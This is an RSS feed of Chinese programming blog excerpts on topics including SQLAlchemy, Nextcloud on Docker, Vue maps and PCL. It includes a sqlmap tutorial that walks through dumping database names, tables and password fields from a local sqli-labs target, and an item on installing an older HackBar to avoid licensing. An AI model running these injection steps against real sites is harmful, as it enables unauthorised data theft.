true”。&#xA;使用页面：&#xA;注意：若在安装之前将安装文件内容按上述方式更改，在安装之后且将安装文件删除，则需在插件内找到ID，同时在主机上根据目录：C:\Users\用户名\AppData\Local\Google\Chrome\User Data\Default\code cache\js中，找到与Id号一致的文件进行更改。&#xA;方式2：在浏览器自带的应用商店下载&#xA;直接进入浏览器自带的应用商店下载即可。&#xA;二：注意事项&#xA;1：必须关闭hack.bar自动更新功能（因为hack.bar自动升级到定版本之后需要收费）&#xA;2：安装后出现如图现象：Please enter your license to use hackbar。&#xA;解决方案：下载较低版本的hack.bar（2.1.3版本），并关闭自动更新功能。&#xA;下载安装过程：&#xA;第一步：前往github下载2.1.3版本，（下载地址：https://github.com/Mr-xn/hackbar2.1.3）&#xA;第二步：将文件解压，得到hackbar2.1.3-master文件。&#xA;第三步：打开浏览器（Firefox）,进入“扩展与主题”，点击寻“找更多附加组件”搜索框下方的按钮，选择“从文件安装附加组件”。&#xA;第四步：找到已经解压的hackbar文件，选择下图框中文件，即可安装成功。&#xA;第五步：关闭自动更新功能。在扩展管理模块点击已经安装的hackbar插件，找到“允许自动更新”模块，选择“关”。</description>
    </item>
    <item>
      <title>【Flask】SQLAlchemy</title>
      <link>https://bchobby.github.io/posts/62cd07515a87830c86c7d17350bb7b2c/</link>
      <pubDate>Sun, 02 Jul 2023 15:24:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/62cd07515a87830c86c7d17350bb7b2c/</guid>
      <description>文章目录 SQLAlchemy是什么为什么使用orm定义安装组成部分SQLAlchemy本身无法操作数据库，其必须以来pymsql等第三方插件 SQLAlchemy的使用原生sql使用orm映射数据表 外键关系一对多(ForeignKey)多对多 使用orm操作记录简单表操作基于scoped_session实现线程安全 CRUD基础操作进阶操作 Flask集成sqlalchemy构建模型类常用的字段类型常用的字段选项增查改先查询, 再更新基于过滤条件的更新 (推荐方案) 删先查询, 再删除基于过滤条件的删除 (推荐方案) SQLAlchemy是什么 为什么使用orm 优点&#xA;有语法提示, 省去自己拼写SQL，保证SQL语法的正确性orm提供方言功能(dialect, 可以转换为多种数据库的语法), 减少学习成本防止sql注入攻击搭配数据迁移, 更新数据库方便面向对象, 可读性强, 开发效率高 缺点&#xA;需要语法转换, 效率比原生sql低复杂的查询往往语法比较复杂 (可以使用原生sql替换) 定义 SQLAlchemy是一个基于Python实现的ORM框架。该框架建立在 DB API之上，使用关系对象映射进行数据库操作，简言之便是：将类和对象转换成SQL，然后使用数据API执行SQL并获取执行结果。&#xA;安装 pip3 install sqlalchemy&#xA;组成部分 Engine，框架的引擎Connection Pooling ，数据库连接池Dialect，选择连接数据库的DB API种类Schema/Types，架构和类型SQL Exprression Language，SQL表达式语言 SQLAlchemy本身无法操作数据库，其必须以来pymsql等第三方插件 MySQL-Python mysql+mysqldb://&amp;lt;user&amp;gt;:&amp;lt;password&amp;gt;@&amp;lt;host&amp;gt;[:&amp;lt;port&amp;gt;]/&amp;lt;dbname&amp;gt; pymysql mysql+pymysql://&amp;lt;username&amp;gt;:&amp;lt;password&amp;gt;@&amp;lt;host&amp;gt;/&amp;lt;dbname&amp;gt;[?&amp;lt;options&amp;gt;] MySQL-Connector mysql+mysqlconnector://&amp;lt;user&amp;gt;:&amp;lt;password&amp;gt;@&amp;lt;host&amp;gt;[:&amp;lt;port&amp;gt;]/&amp;lt;dbname&amp;gt; cx_Oracle oracle+cx_oracle://user:pass@host:port/dbname[?key=value&amp;amp;key=value...] 更多：http://docs.sqlalchemy.org/en/latest/dialects/index.html SQLAlchemy的使用 原生sql from sqlalchemy import create_engine from sqlalchemy.engine.base import Engine from urllib import parse import threading user = &#34;</description>
    </item>
    <item>
      <title>【Java】Java中的泛型</title>
      <link>https://bchobby.github.io/posts/33c811090d86cbabaaa9360f2fa628b9/</link>
      <pubDate>Sun, 02 Jul 2023 01:02:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/33c811090d86cbabaaa9360f2fa628b9/</guid>
      <description>文章目录 一、泛型1.1 泛型的概念1.2 为什么要有泛型 二、泛型类2.1 基本语法2.2 使用示例2.3 类型推导2.4 裸类型 三、泛型的编译机制3.1 擦除机制3.2 为什么不能实例化泛型类型数组 四、泛型的上界五、泛型方法六、通配符通配符的作用通配符的上界和下界 七、包装类7.1 基本数据类型和对应的包装类7.2 装箱和拆箱7.3 自动装箱和自动拆箱 一、泛型 1.1 泛型的概念 在Java中，泛型是一种在编译时期类型检查的机制，它使得我们能够创建具有通用行为的类、接口和方法，以适应不同类型的数据。通过使用泛型，可以提高代码的复用性、类型安全性以及可读性。&#xA;泛型是在JDK 1.5 引入的新语法，通俗来讲，泛型就是适应多种类型。从代码上来看，就是对类型实现了参数化，即从传入的类型参数来确定数据的具体类型。&#xA;1.2 为什么要有泛型 首先通过一个案例来说明：实现一个类，类中包含一个数组成员，使得数组中可以存放任何类型的数据，也可以根据成员方法返回数组中某个元素的值。&#xA;实现思路：在Java中，因为所有类的父类都是Object类，因此可以将数组的类型定义为Object[]类型，这样就能存放任何类型的元素了。&#xA;实现代码如下：&#xA;class MyArray { public Object[] array = new Object[10]; public Object getPos(int pos) { return this.array[pos]; } public void setVal(int pos, int val) { this.array[pos] = val; } } public class Test { public static void main(String[] args) { MyArray myArray = new MyArray(); myArray.</description>
    </item>
    <item>
      <title>入门小白，使用ubuntu，使用docker或者docker-compose搭建家庭个人网盘nextcloud，外网通过IPV6域名访问。第四篇--挂载硬盘，优化配置</title>
      <link>https://bchobby.github.io/posts/b44a1e8c022a03f2b05e88f157550256/</link>
      <pubDate>Sat, 01 Jul 2023 18:14:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b44a1e8c022a03f2b05e88f157550256/</guid>
      <description>主要内容 nextcloud挂载外部磁盘优化nextcloud配置ubuntu自动挂载磁盘 配置 nextcloud 挂载外部磁盘 注意： 这里的挂载外部磁盘是指： 把一个移动硬盘 挂载到 nextcloud&#xA;参考：&#xA;https://cloud.tencent.com/developer/article/2067451&#xA;先找到你的磁盘对应的设备&#xA;fdisk -l 比如 下面的截图，我的磁盘路径就是 /dev/sdb&#xA;接下来挂载磁盘到系统中&#xA;如此， 硬盘对应的 路径就变成了 /mnt/testmount ， 这个路径就是我们待会要用到的&#xA;mount /dev/sdb /mnt/testmount&#xA;确认 nextcloud的 docker-compose.yml配置文件&#xA;# 这段表示 把主机的路径映射到docker的路径中 volumes: - /mnt/testmount:/mnt/testmount2 # 这表示让nextcloud 拥有root权限。 由于这具有一定的风险，各位自己考虑 # 采用devices 来挂载的话，我没有实验成功。官方文档上的例子也试了，还是不行。 privileged: true 在nextcloud页面 配置外部存储&#xA;详细步骤看参考文档就行， 我就懒得贴了，O(∩_∩)O将刚才在docker-compose 配置文件中 映射的路径配置上去， /mnt/testmount2&#xA;验证&#xA;这个时候，那么你在 nextcloud管理页面上，就能看到相应的外部磁盘了&#xA;在 nextcloud app上也可以看到了&#xA;优化 nextcloud 配置 此处 可以参考其他大佬写的优化配置，b站或者知乎啥的都有&#xA;我感觉 我优化了前后，似乎也不是太明显的样子。。。&#xA;参考：&#xA;https://zhuanlan.zhihu.com/p/50322342&#xA;ubuntu自动挂载磁盘 由于 使用的是笔记本挂载磁盘，那么重启后 磁盘挂载路径可能会变化，因此需要自动挂载。</description>
    </item>
    <item>
      <title>入门小白，使用ubuntu，使用docker或者docker-compose搭建家庭个人网盘nextcloud，外网通过IPV6域名访问。第一篇</title>
      <link>https://bchobby.github.io/posts/8658fe4e0c7e55558d5a300c9fd56647/</link>
      <pubDate>Sat, 01 Jul 2023 18:04:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8658fe4e0c7e55558d5a300c9fd56647/</guid>
      <description>搭建网络的第一篇 本文的需求背景技能要求或者工具使用到的软件第一步，docker第二步，安装nextclouddocker 方式docker compose方式启动nextcloud 本文的需求背景 如果你有多余的机械硬盘，想要备份 照片如果你有多余的老旧笔记本 当服务器，或者其他机器也可以如果你还想 外网能够访问 家庭网络你不考虑NAS的情况下既不想买 腾讯或者阿里云服务器，又不想买域名的 而且我的意图是，我的硬盘里有资料了，只是想把硬盘作为挂载的工具放到nextcloud&#xA;如果不想折腾的，嗯，到了这一步，你和我说你不想折腾&#xA;如果不想麻烦的，嗯，还是上NAS。 虽然我没用过&#xA;技能要求或者工具 需要对linux 有一定的操作水平，文章中使用 ubuntu桌面版。就是有图形界面的哈能够基础使用docker，docker-compose能够关闭ipv6防火墙功能的 路由器 使用到的软件 个人网盘： nextcloud容器： docker免费域名解析： ddns-go动态dns： dynv6 ，官网: https://dynv6.com 由于 这几款软件都是 开源软件，所以并不需要收费哈&#xA;第一步，docker 针对自己的操作系统，安装 docker ，以及 docker-compose&#xA;这一步 可以百度解决&#xA;第二步，安装nextcloud docker 方式 参考文档： https://www.cnblogs.com/xwgli/p/16512462.html&#xA;内容分为几步：&#xA;安装redis，用于缓存 （参考上面文档的安装命令）&#xA;安装mysql，用于存储数据（参考上面文档的安装命令）&#xA;下面的mysql配置项，填入的是安装mysql时的内容&#xA;对不住，照片用的其他兄弟的哈&#xA;安装nextcloud&#xA;docker run -d -p 8080:80 \ --restart=always \ -v /home/nextcloud/html:/var/www/html \ --link nextcloud-mysql:mysql \ --link nextcloud-redis:redis \ --name nextcloud nextcloud:latest 解释下命令：</description>
    </item>
    <item>
      <title>入门小白，使用ubuntu，使用docker或者docker-compose搭建家庭个人网盘nextcloud，外网通过IPV6域名访问。第三篇--配置 ddns-go 以及 dynv6</title>
      <link>https://bchobby.github.io/posts/c3dae1766134c7563c1f7a4a7f016a2e/</link>
      <pubDate>Sat, 01 Jul 2023 17:30:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c3dae1766134c7563c1f7a4a7f016a2e/</guid>
      <description>第三篇。ipv6配置 由于在第一篇中说过，放弃使用ipv4 连接&#xA;优点，家里设备都可以拥有一个 ipv6公网地址&#xA;缺点，地址会变。。。&#xA;缺点，公司网络网络下，可能访问不到。。。&#xA;所以采用ddns-go 配置 dynv6的方案&#xA;即使设备的ipv6地址变化了，也不用你做额外的事，一切交给系统就行。&#xA;不用写代码，不用手动更改绑定&#xA;要求 光猫要 桥接模式，也就是采用 路由器拨号的方式路由器要可以关闭防火墙，或者说 可以配置ipv6的 防火墙规则（在第二篇中已经说明）tplink的路由器 放弃吧。因为 目前家用的路由器不支持关闭内置的防火墙，所以外网访问时，会被拒绝&#xA;参考： https://zhuanlan.zhihu.com/p/560931869 到dynv6创建一个域名 访问官网： https://dynv6.com/&#xA;注册后 ，创建一个自己喜欢的域名&#xA;进入my zones， 选择instructions， 这个下面，记录下 Update-URL 和 Benutzername， Domainname， 待会配置时要用到&#xA;安装 ddns-go docker run -d --name ddns-go --restart=always --net=host -v /opt/ddns-go:/root jeessy/ddns-go 注意：–net=host ，请不要修改，修改了 可能就获取不到 你网卡的ipv6了。 如果这个参数不填，应该默认是 bridge 模式&#xA;验证：&#xA;打开浏览器 ，输入 你的ip地址:9876&#xA;配置ipv6解析 参考 ： https://www.bilibili.com/read/cv22106032/&#xA;DNS服务商 选 Callback&#xA;url 填写http://dynv6.com/api/update?hostname=#{domain}&amp;amp;token=Benutzername手动修改&amp;amp;ipv6=#{ip}&#xA;解释： #{domain} 变量, ddns-go会自动输出 Domains配置的域名，在下面的 ipv6 设置中填写Benutzername 改为上一步dynv6官网你的 Benutzername 秘钥令牌#{ip} 变量 ，不用改，会自动变</description>
    </item>
    <item>
      <title>Prettier - Code formatter配置(vscode)</title>
      <link>https://bchobby.github.io/posts/824692ec68477daeaf68fa1ec2074639/</link>
      <pubDate>Sat, 01 Jul 2023 16:09:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/824692ec68477daeaf68fa1ec2074639/</guid>
      <description>1.安装Prettier&#xA;2.设置--&amp;gt;搜索format on save 并打勾&#xA;3.搜索default format 并选择Prettier - Code formatter&#xA;4.点击右上角打开setting.json&#xA;5.看最后一行是否存在如下配置,有就说明配置成功,没有重新前面步骤重新设置一下&#xA;6.根目录是否存在.prettierrc.json,没有创建一下&#xA;7.把以下代码复制到.prettierrc.json文件中&#xA;{&#xA;&#34;$schema&#34;: &#34;https://json.schemastore.org/prettierrc&#34;,&#xA;&#34;semi&#34;: false,&#xA;&#34;tabWidth&#34;: 2,&#xA;&#34;singleQuote&#34;: true,&#xA;&#34;printWidth&#34;: 100,&#xA;&#34;trailingComma&#34;: &#34;none&#34;,&#xA;&#34;useTabs&#34;: false&#xA;}&#xA;8.配置完成,按Ctrl+S即可代码格式化&#xA;格式化前:&#xA;格式化后:</description>
    </item>
    <item>
      <title>【IOS】Firebase（Google、Facebook、Apple、Guest）登录，FCM，Apple In-App，Kakao</title>
      <link>https://bchobby.github.io/posts/44614e74b243c653bb3fca9366b54896/</link>
      <pubDate>Sat, 01 Jul 2023 15:23:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/44614e74b243c653bb3fca9366b54896/</guid>
      <description>写在开头 记录自己接入SDK的过程。请各位指正。&#xA;最好提前做的工作 工欲善其事，必先利其器。&#xA;1.Mac电脑因Xcode而内存越来越大 弄到一半突然提示我内存不足，而且xcode还越来越卡。也是醉了。&#xA;2.Xcode卡顿解决方案 一.xcode项目处理 1.Cocoapods Mac 下 安装Cocoapods&#xA;CocoaPods 换源 git 安装 与 使用&#xA;mac 安装homebrew 报错 curl: (7) Failed to connect to raw.githubusercontent.com port 443: Connection refused&#xA;1).ruby Mac OS 新系统安装Cocoapods[不要直接使用系统默认ruby]&#xA;IOS 解决安装POD报You don’t have write permissions for the /usr/bin directory的错误&#xA;是的，我们得用自己的ruby，mac自带的不让写入了，连升级都不行，干！！！&#xA;a.如何让shell里优先用自己下的ruby https://www.shuzhiduo.com/A/qVdeEK1gdP/&#xA;我使用了方法二&#xA;b.更换ruby源 更换 Ruby 源 // 查看现有的源 gem source -l // 移除 gem sources --remove https://rubygems.org/ // 添加 ruby-china 的源 gem sources -a https://gems.</description>
    </item>
    <item>
      <title>CentOS 安装及基本配置</title>
      <link>https://bchobby.github.io/posts/482c3f29754f0b84f6f55dea7f2d9c4b/</link>
      <pubDate>Sat, 01 Jul 2023 12:44:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/482c3f29754f0b84f6f55dea7f2d9c4b/</guid>
      <description>文章目录 1、root 免密码输入自动登录2、设置 Terminal 计算机终端背景颜色3、关闭关闭锁屏4、You need to be root to perform this command. 1、root 免密码输入自动登录 注：设置免密登录需要使用超级用户权限，即 root 权限&#xA;（1）、启动 CentOS 系统，进入桌面，鼠标右键，点击 Open Terminal&#xA;（2）、使用 vi 修改 /etc/gdm/custom.conf 文件&#xA;vi /etc/gdm/custom.conf&#xA;（3）、输入 i 进行插入，插入完成后，按 ESC，输入 :wq，保存并退出&#xA;# 在[daemon]下增加 AutomaticLoginEnable=True AutomaticLogin=root （4）、输入 reboot 重启&#xA;注：重启后，需要重新配置 CentOS&#xA;2、设置 Terminal 计算机终端背景颜色 （1）、启动 CentOS 系统，进入桌面，鼠标右键，点击 Open Terminal&#xA;（2）、点击终端里菜单中的 Edit，点击 Preferences&#xA;（3）、点击 Unnamed，点击 Colors，取消勾选 Use colors from system theme&#xA;（4）、点击 Built-in schemes 下拉框，选择自己喜欢的主题即可，我选择的是 “Green on black” 主题</description>
    </item>
    <item>
      <title>基于STM32的户外环境监测系统的设计</title>
      <link>https://bchobby.github.io/posts/3971849fc1f83568c8194a5427d06182/</link>
      <pubDate>Sat, 01 Jul 2023 09:22:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3971849fc1f83568c8194a5427d06182/</guid>
      <description>目录&#xA;1 引言 1.1 本课题的研究意义 1.2 本课题的研究现状 1.3本课题的发展趋势和研究可行性 1.4本课题主要研究工作 2 系统的概述和相关原理 2.1 系统的概述 2.1.1 总体设计的方案 2.1.2 总体框图 2.2 相关理论 2.2.1 STM32平台 2.2.2 WIFI模块 3 硬件电路设计 8&#xA;3.1 主控电路 3.2 WIFI通信模块 3.3报警模块 3.4温湿度模块 3.5 光照强度模块 3.6 PM2.5模块 3.7液晶模块 3.8电源模块 4 软件设计 4.1 总体程序流程图 4.2 WIFI模块 4.3 LCD5110模块 4.5 DHT11模块 4.7 ADC-DMA模块 5 Android系统 30&#xA;5.1 Android系统简述 31&#xA;5.2 Android开发环境的搭建 36&#xA;6 运行与调试 37&#xA;6.1 测试 38&#xA;结论 参考文献 基于STM32的户外环境监测系统的设计&#xA;摘 要:随 着 无 线 局 域 网 技 术 的 快 速 发 展 ， 无 线 终 端 已 经 融 入 了 我 们 的 生 活 ， 无 论 是 智 能 手 机 还 是 笔 记 本 ， WiFi 功 能 几 乎 是 必 不 可 少 的 。 伴随着电子产品的快速发展，电子测量的应用也越来越广泛，不再局限于军事，转向民用发展。更加使得电子测量技术的到极大的发展。数字信号有着良好的抗材料本身干扰和环境干扰的能力，所以，现在市面上的模拟信号产品逐渐被数字信号产品代替，并且使得测量产品越来越方便。根据市场调查，虽然市场上有很多关于环境监测系统测试仪，但大多数是应用于空气，湖泊，海洋，河流等大型检测系统，关于检测环境的小型简单方便使用的检测系统。本文开发并实现基于一种嵌入式开发平台的 STM32 的 WiFi 模块，结合以上物联网新型概念，实现用户通过网络对环境的实时监控。该系统可以使用户能够对想要知道的情况进行实时的掌握以及控制。通过各种传感器获取家庭内信息（温湿度信息、光照信息、PM2.</description>
    </item>
    <item>
      <title>java：求数组中的最大值、最小值</title>
      <link>https://bchobby.github.io/posts/48f33f5f9beb5883214892ac349df430/</link>
      <pubDate>Sat, 01 Jul 2023 00:55:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/48f33f5f9beb5883214892ac349df430/</guid>
      <description>eclipse使用Java求数组中的最大值、最小值&#xA;文章目录 前言代码实现 前言 声明一个整型数组，包含10个元素，给数组中的每个元素赋0~99的随机整数，求出数组中的最大值、最小值&#xA;代码实现 具体代码如下：&#xA;package day05; import java.util.Arrays; public class MaxOfArray { public static void main(String[] args) { // 求数组中的最大、最小值 int[] arr = new int[10]; for(int i = 0; i &amp;lt; arr.length; i++) { arr[i] = (int)(Math.random()*100); //生成0~99的随机整数 System.out.println(arr[i]); } int max = arr[0]; //假设数组的第一个元素为最大值 for(int i = 0; i &amp;lt; arr.length; i++) { if(max &amp;lt; arr[i]) { //如果第i个数组元素大于max，则将第i个元素值赋给max max = arr[i]; } } System.out.println(&#34;数组中最大值为：&#34;+max); int min = arr[0]; //假设数组的第一个元素为最小值 for(int i = 0; i &amp;lt; arr.</description>
    </item>
    <item>
      <title>使用python和js调用wasm文件</title>
      <link>https://bchobby.github.io/posts/a8b5296676e1769134ebd1f721f744ce/</link>
      <pubDate>Fri, 30 Jun 2023 22:48:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a8b5296676e1769134ebd1f721f744ce/</guid>
      <description>1.使用python调用wasm文件 使用pywasm模块.&#xA;1.安装(使用清华源):pip install -i https://pypi.tuna.tsinghua.edu.cn/simple pywasm&#xA;2.导入:import pywasm&#xA;3.代码:&#xA;import pywasm vm = pywasm.load(&#34;./example.wasm&#34;) # 加载wasm文件 result = vm.exec(&#34;method&#34;, *args) # 调用文件的方法 2.将wasm文件转为js文件 利用wasm2js包.&#xA;1.安装:npm install wasm2js&#xA;2.导入:const wasm2js = require(&#39;wasm2js&#39;);,const fs = require(&#39;fs&#39;)&#xA;3.代码:&#xA;const wasmBuffer = fs.readFileSync(&#34;example.wasm&#34;); //加载你的wasm文件 const js = wasm2js(wasmBuffer); // 转为js代码 fs.writeFile(&#34;result.js&#34;, js, (err) =&amp;gt; {}); //写入文件 参考文章:&#xA;js和wasm&#xA;对wasm的两种解法&#xA;WebAssembly</description>
    </item>
    <item>
      <title>在vue项目中使用高德地图</title>
      <link>https://bchobby.github.io/posts/1a90f9c3506e7a1cfd9093076e4d18aa/</link>
      <pubDate>Fri, 30 Jun 2023 22:32:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1a90f9c3506e7a1cfd9093076e4d18aa/</guid>
      <description>1.安装高德地图插件&#xA;npm install vue-amap --save 2.申请高德地图账号和key&#xA;官网地址：高德开放平台 | 高德地图API&#xA;3.在main.js中引入&#xA;// 引入vue-amap import VueAMap from &#39;vue-amap&#39;; // 初始化vue-amap Vue.use(VueAMap); VueAMap.initAMapApiLoader({ key: &#39;c8b20507506bf9ec5e63f9b7a6e0eb53&#39;, plugin: [ &#34;AMap.Autocomplete&#34;, //输入提示插件 &#34;AMap.PlaceSearch&#34;, //POI搜索插件 &#34;AMap.Scale&#34;, //右下角缩略图插件 比例尺 &#34;AMap.OverView&#34;, //地图鹰眼插件 &#34;AMap.ToolBar&#34;, //地图工具条 &#34;AMap.MapType&#34;, //类别切换控件，实现默认图层与卫星图、实施交通图层之间切换的控制 &#34;AMap.PolyEditor&#34;, //编辑 折线多，边形 &#34;AMap.CircleEditor&#34;, //圆形编辑器插件 &#34;AMap.Geolocation&#34; //定位控件，用来获取和展示用户主机所在的经纬度位置 ], v: &#39;1.4.4&#39; }); 4.创建存放地图的容器&#xA;&amp;lt;div class=&#34;box&#34;&amp;gt; &amp;lt;div class=&#34;mapBox&#34; id=&#34;myMap&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;btn&#34; @click=&#34;screenFull&#34;&amp;gt;放大&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; 5.初始化地图&#xA;//初始化地图容器 initMap(){ // console.log(&#34;初始化地图容器&#34;) this.myMap = new AMap.Map(&#39;myMap&#39;,{ zoom: 10, //设置地图显示的缩放级别 // center: [116.</description>
    </item>
    <item>
      <title>sqlmap新手教程</title>
      <link>https://bchobby.github.io/posts/b9190aa918156137f11558b424692615/</link>
      <pubDate>Fri, 30 Jun 2023 21:52:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b9190aa918156137f11558b424692615/</guid>
      <description>sqlmap常用命令 --technique=B/E/U/S/T 指定sql注入的类型&#xA;B：布尔盲注&#xA;E：报错型注入&#xA;U：联合查询注入&#xA;S：多语句查询注入&#xA;T：时间盲注&#xA;--dbms 指定数据&#xA;如Microsoft Access, Microsoft SQL Server, MimerSQL, MonetDB, MySQL, Oracle, Percona, PostgreSQ&#xA;-D 指定数据库&#xA;-T 选择表&#xA;-C 选择字段&#xA;--dbs 列出全部数据库名字&#xA;--dump列出字段内容&#xA;--current-db 查询当前数据库名&#xA;--current-user 检测当前用户&#xA;--is-dba检测当前用户是否为管理员&#xA;-v 共有0-6级&#xA;0：只显示Python的回溯，错误和关键消息。&#xA;1：显示信息和警告消息。&#xA;2：显示调试消息。&#xA;3：有效载荷注入。&#xA;4：显示HTTP请求。&#xA;5：显示HTTP响应头。&#xA;6：显示HTTP响应页面的内容&#xA;--tables获取表名&#xA;--columns获取字段名&#xA;--users列数据库所有用户&#xA;--batch 永远不要要求用户输入，使用默认行为 --threads 采用多线程&#xA;--risk：风险等级，共有4个，默认是1会测试大部分的测试语句，2会增加基于事件的测试语句，3会增加OR语句的SQL注入测试。&#xA;level：共有五个等级，默认为1，在你不确定哪个payload或者参数为注入点的时候，为了保证全面性，建议使用高的level值。 当使用第5级时，处于测试最高级别，包含的payload最多，测试参数更复杂，会自动破解出cookie、XFF等头部注入，相对应他的速度也比较慢。这里说的速度是完成任务的速度，而非网站的访问速度。&#xA;sqlmap使用流程 进入sqlmap的文件夹，按住Ctrl键，然后按住右键，打开终端，输入python sqlmap.py运行sqlmap&#xA;输入&#xA;python sqlmap.py -u &#34;http://localhost/Less-1/?id=1&#34; 进行扫描&#xA;查询出有布尔盲注，报错型注入，时间盲注，联合查询注入&#xA;使用报错型注入查询当前连接数据库&#xA;查询出数据库名为&#34;security&#34;&#xA;指定security数据库查询全部表&#xA;指定users表，查询全部字段&#xA;接下来查询password字段的全部内容</description>
    </item>
    <item>
      <title>【PCL】（三）读写PCD文件</title>
      <link>https://bchobby.github.io/posts/28a85a79644886b5462979c07d1ec5cb/</link>
      <pubDate>Fri, 30 Jun 2023 20:48:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/28a85a79644886b5462979c07d1ec5cb/</guid>
      <description>文章目录 （三）读写PCD文件写读 （三）读写PCD文件 写 首先，创建一个名为pcd_write.cpp的文件，并在其中写入以下代码：&#xA;#include &amp;lt;iostream&amp;gt; #include &amp;lt;pcl/io/pcd_io.h&amp;gt; #include &amp;lt;pcl/point_types.h&amp;gt; int main () { pcl::PointCloud&amp;lt;pcl::PointXYZ&amp;gt; cloud; // Fill in the cloud data cloud.width = 5; cloud.height = 1; cloud.is_dense = false; cloud.resize (cloud.width * cloud.height); for (auto&amp;amp; point: cloud) { point.x = 1024 * rand () / (RAND_MAX + 1.0f); point.y = 1024 * rand () / (RAND_MAX + 1.0f); point.z = 1024 * rand () / (RAND_MAX + 1.</description>
    </item>
    <item>
      <title>idea端口号被占用</title>
      <link>https://bchobby.github.io/posts/1dd97cf7f21250264d0d23f36dcc0f84/</link>
      <pubDate>Fri, 30 Jun 2023 19:45:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1dd97cf7f21250264d0d23f36dcc0f84/</guid>
      <description>idea端口号被占用如何解决&#xA;idea经常会报错显示端口号被占用，此时有解决方法无需重启电脑&#xA;打开cmd输入netstat -ano查找所有端口&#xA;通过netstat -ano|findstr &#34;端口号&#34;命令直接查找具体端口号被占用程序：&#xA;用taskkill /pid 加查出来的端口号 -f 命令终止进程</description>
    </item>
    <item>
      <title>【PCL】（一）PCL基本数据结构PointCloud与原生文件格式PCD</title>
      <link>https://bchobby.github.io/posts/8625a360c057c6f09ba0458c308f072b/</link>
      <pubDate>Fri, 30 Jun 2023 19:15:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8625a360c057c6f09ba0458c308f072b/</guid>
      <description>文章目录 PCL基本数据结构PCD文件PCD版本文件格式标头数据存储类型PCD文件示例 PCL基本数据结构 PCL 1.x 的基本数据结构是PointCloud。PointCloud是一个C++类，它主要包含以下数据字段：&#xA;width (int)&#xA;指定点云数据集的宽度(以点数为单位)。宽度有两个含义:&#xA;它可以为无组织的点云指定其总点数;&#xA;它可以指定一个有组织的点云的宽度(一行的点数)。&#xA;有组织的点云类似于有组织的图像(或矩阵，其中的数据被分成行和列。对于这种点云，可以利用其相邻点之间的关系(类似于图像像素之间的关系)进行高效率的最近邻操作，从而加快了计算速度，降低了PCL中某些算法的成本。&#xA;例子：每行有640个点的点云&#xA;cloud.width = 640; height (int)&#xA;指定点云数据集的高度(以点数为单位)。高度有两层含义:&#xA;它可以指定组织点云数据集的高度(总行数); 例子：有组织的480行640列的点云，总共640*480=307200个点&#xA;cloud.width = 640; cloud.height = 480; 对于无组织的数据集，它被设置为1(因此height 也可用于检查点云是否是有组织的)。 例子：307200 个点的无组织的点云&#xA;cloud.width = 307200; cloud.height = 1; points (std::vector)&#xA;包含存储PointT类型的所有点的数据数组。例如，对于用XYZ值表示点的点云，points为包含多个pcl::PointXYZ元素的向量:&#xA;// 定义一个点云 pcl::PointCloud&amp;lt;pcl::PointXYZ&amp;gt; cloud; // 将其points 赋予数组data std::vector&amp;lt;pcl::PointXYZ&amp;gt; data = cloud.points; PointT类型是主要的点数据类型，它描述了点的每个单独元素所包含的内容。PCL提供了多种不同的点类型，还允许我们自定义PointT类型：&#xA;https://pcl.readthedocs.io/projects/tutorials/en/master/adding_custom_ptype.html#adding-custom-ptype&#xA;is_dense (bool)&#xA;points 中的所有数据是否是有限的(true)，或者某些点的XYZ值是否可能包含Inf/NaN值(false)。&#xA;sensor_origin_ (Eigen::Vector4f)&#xA;传感器采集姿态(原点/平移)。这个成员通常是可选的，PCL中的大多数算法都不使用它。&#xA;sensor_orientation_ (Eigen::Quaternionf)&#xA;说明传感器采集姿态(方向)。这个成员通常是可选的，PCL中的大多数算法y也都不使用它。&#xA;为了简化开发，PointCloud类包含许多助手成员函数。例如，用户不必在代码中检查height 是否等于1，以查看数据集是否是有组织的，而是使用isOrganized :&#xA;if (!cloud.isOrganized ()) .</description>
    </item>
    <item>
      <title>基于Web的停车场管理系统(Java)</title>
      <link>https://bchobby.github.io/posts/f937c0ba9e467763c23e19bb64c5aca0/</link>
      <pubDate>Fri, 30 Jun 2023 18:30:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f937c0ba9e467763c23e19bb64c5aca0/</guid>
      <description>目录&#xA;一、系统介绍&#xA;1.开发的环境&#xA;2.本系统实现的功能&#xA;3.数据库用到的表&#xA;4.工程截图&#xA;二、系统展示&#xA;1、登录页面&#xA;2、首页&#xA;3、系统信息管理模块 4、车位信息管理模块&#xA;5、IC卡信息管理模块&#xA;​编辑6、固定车主停车管理模块&#xA;7、临时车主停车管理模块&#xA;8、系统功能操作模块&#xA;三、部分代码展示&#xA;1、Index.jsp&#xA;2、Login.jsp&#xA;3、Login.java&#xA;4、User.java&#xA;五、申明&#xA;如有侵权请联系我删除！！！&#xA;六、源码获取&#xA;一、系统介绍 1.开发的环境 开发工具：IntelliJ IDEA 2022&#xA;JDK版本：1.8&#xA;数据库：MySQL 8.0&#xA;数据库管理软件：Navicat 15.0.27&#xA;服务器：apach-tomcat-9.0.68&#xA;2.本系统实现的功能 